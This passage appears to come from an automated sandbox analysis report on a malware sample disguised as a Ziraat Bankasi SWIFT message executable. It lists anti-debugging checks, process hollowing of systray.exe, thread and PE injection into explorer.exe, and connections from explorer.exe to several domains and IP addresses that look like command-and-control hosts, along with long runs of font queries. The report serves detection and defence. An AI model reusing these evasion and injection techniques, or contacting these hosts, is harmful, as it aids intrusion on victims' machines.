          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0128EF40 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012F7794 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012F7794 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012F7794 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01288794 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012B37F5 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0127E620 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0132FE3F mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0127C600 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0127C600 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0127C600 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012A8E00 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012AA61C mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012AA61C mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01331608 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0128766D mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0129AE73 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0129AE73 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0129AE73 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0129AE73 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0129AE73 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01287E41 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01287E41 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01287E41 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01287E41 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01287E41 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01287E41 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0133AE44 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0133AE44 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012F46A7 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01340EA5 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01340EA5 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01340EA5 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0130FE87 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012A16E0 mov ecx, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012876E2 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_01348ED6 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012A36CC mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012B8EC7 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_0132FEC0 mov eax, dword ptr fs:[00000030h]
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeProcess queried: DebugPort
          Source: C:\Windows\SysWOW64\systray.exeProcess queried: DebugPort
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeCode function: 6_2_012B9910 NtAdjustPrivilegesToken,LdrInitializeThunk,
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeMemory allocated: page read and write | page guard

          HIPS / PFW / Operating System Protection Evasion

          barindex
          System process connects to network (likely due to code injection or exploit)
          Source: C:\Windows\explorer.exeDomain query: www.notarpucarhr.com
          Source: C:\Windows\explorer.exeDomain query: www.oaksinstitute.net
          Source: C:\Windows\explorer.exeNetwork Connect: 103.11.189.189 80
          Source: C:\Windows\explorer.exeDomain query: www.multimediapages.com
          Source: C:\Windows\explorer.exeNetwork Connect: 141.136.43.229 80
          Source: C:\Windows\explorer.exeNetwork Connect: 38.239.92.131 80
          Sample uses process hollowing technique
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeSection unmapped: C:\Windows\SysWOW64\systray.exe base address: 1010000
          Maps a DLL or memory area into another process
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeSection loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeSection loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeSection loaded: unknown target: C:\Windows\SysWOW64\systray.exe protection: execute and read and write
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeSection loaded: unknown target: C:\Windows\SysWOW64\systray.exe protection: execute and read and write
          Source: C:\Windows\SysWOW64\systray.exeSection loaded: unknown target: C:\Windows\explorer.exe protection: read write
          Source: C:\Windows\SysWOW64\systray.exeSection loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write
          Injects a PE file into a foreign processes
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeMemory written: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exe base: 400000 value starts with: 4D5A
          Queues an APC in another process (thread injection)
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeThread APC queued: target process: C:\Windows\explorer.exe
          Modifies the context of a thread in another process (thread injection)
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeThread register set: target process: 3528
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeThread register set: target process: 3528
          Source: C:\Windows\SysWOW64\systray.exeThread register set: target process: 3528
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeProcess created: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exe C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exe
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeProcess created: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exe C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exe
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeProcess created: C:\Windows\SysWOW64\systray.exe C:\Windows\SysWOW64\systray.exe
          Source: explorer.exe, 00000007.00000000.374080606.0000000000E50000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000007.00000000.394264558.0000000000E50000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000007.00000000.331690721.0000000000E50000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: EProgram Managerzx
          Source: explorer.exe, 00000007.00000000.399124469.0000000005C70000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.374080606.0000000000E50000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000007.00000000.350620618.000000000834F000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: Shell_TrayWnd
          Source: explorer.exe, 00000007.00000000.374080606.0000000000E50000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000007.00000000.394264558.0000000000E50000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000007.00000000.331690721.0000000000E50000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Progman
          Source: explorer.exe, 00000007.00000000.330992667.00000000009C8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.393881656.00000000009C8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000007.00000000.373733761.00000000009C8000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Progmanath
          Source: explorer.exe, 00000007.00000000.374080606.0000000000E50000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000007.00000000.394264558.0000000000E50000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000007.00000000.331690721.0000000000E50000.00000002.00000001.00040000.00000000.sdmpBinary or memory string: Progmanlock
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exe VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\arial.ttf VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\ariali.ttf VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\arialbd.ttf VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\arialbi.ttf VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\ARIALN.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\ariblk.ttf VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\ARIALNI.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\ARIALNB.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\ARIALNBI.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\calibri.ttf VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\calibril.ttf VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\calibrii.ttf VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\calibrili.ttf VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\consola.ttf VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\consolai.ttf VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\consolab.ttf VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\consolaz.ttf VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\constan.ttf VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\constani.ttf VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\constanb.ttf VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\constanz.ttf VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\corbel.ttf VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\corbeli.ttf VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\corbelb.ttf VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\corbelz.ttf VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\cour.ttf VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\couri.ttf VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\courbd.ttf VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\courbi.ttf VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\ebrima.ttf VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\ebrimabd.ttf VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\framd.ttf VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\FRADM.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\framdit.ttf VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\FRADMIT.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\FRAMDCN.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\FRADMCN.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\FRAHV.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\FRAHVIT.TTF VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\Gabriola.ttf VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\gadugi.ttf VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\gadugib.ttf VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\georgia.ttf VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\georgiai.ttf VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\georgiab.ttf VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\georgiaz.ttf VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\impact.ttf VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\Inkfree.ttf VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\javatext.ttf VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\LeelawUI.ttf VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\LeelUIsl.ttf VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\LeelaUIb.ttf VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\lucon.ttf VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\l_10646.ttf VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\malgun.ttf VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\malgunsl.ttf VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\malgunbd.ttf VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\himalaya.ttf VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\msjh.ttc VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\msjhl.ttc VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\msjhbd.ttc VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\ntailu.ttf VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\ntailub.ttf VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\phagspa.ttf VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\phagspab.ttf VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\taile.ttf VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\taileb.ttf VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\msyh.ttc VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\msyhl.ttc VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\msyhbd.ttc VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\msyi.ttf VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\mingliub.ttc VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\monbaiti.ttf VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\msgothic.ttc VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\mvboli.ttf VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\mmrtext.ttf VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\mmrtextb.ttf VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\Nirmala.ttf VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\NirmalaS.ttf VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\NirmalaB.ttf VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\pala.ttf VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\palai.ttf VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\palab.ttf VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\palabi.ttf VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\segoepr.ttf VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\segoeprb.ttf VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\segoesc.ttf VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\segoescb.ttf VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\segoeuii.ttf VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\seguisli.ttf VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\seguili.ttf VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\seguisbi.ttf VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\segoeuiz.ttf VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\seguibl.ttf VolumeInformation
          Source: C:\Users\user\Desktop\Ziraat Bankasi Swift Mesaji20221129-34221.exeQueries volume information: C:\Windows\Fonts\seguibli.ttf VolumeInformation
